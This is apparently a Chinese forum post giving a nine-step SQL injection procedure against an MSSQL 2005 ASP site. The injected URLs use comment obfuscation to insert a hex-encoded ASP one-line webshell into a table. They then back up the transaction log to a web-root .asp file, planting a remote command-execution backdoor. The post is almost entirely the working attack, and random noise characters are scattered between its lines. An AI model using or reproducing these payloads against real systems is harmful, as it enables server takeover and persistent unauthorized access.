Mssql2005 Log备份Webshell

admin

第一步
: A) y( z: G  `9 mhttp://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

% g$ |" `: ~* d7 e" f8 x第二步：
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第三步
" g' K5 i! u3 V# f3 Zhttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
. W/ Y; t, ^' c4 d1 i
$ b9 h( ~8 A, R8 }7 _; \第四步
2 k& g- n: L" h% O/ Chttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--
/ o8 Y9 y& p  t- ~6 {8 Z) n- {0 u9 C* I' J
第五步
- ~* G1 ?! E. c6 t- F- ehttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
2 J2 I0 n0 ?2 V: u$ z8 d
: n1 Z4 W5 [; P+ A6 z. h& m第六步
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--
. k4 O' f' f7 a6 Z. s  @7 z  j# K: i
; K3 K. Z' ?+ l2 o7 e7 C第七步
: N- u& x  K$ B% Whttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
2 A' d, c/ U0 W3 d6 g4 l
% R1 U8 U3 j! _- ?第八步
$ ^1 g1 x) v! khttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
7 O( \% T+ I6 P1 Z+ V  t6 ~
5 V: c' J4 Q7 a: z第九步
( `, }; Y3 ]' F% g0 Y+ V5 fhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
2 ]/ n9 \$ B  R4 r, _0 A! x% ~: g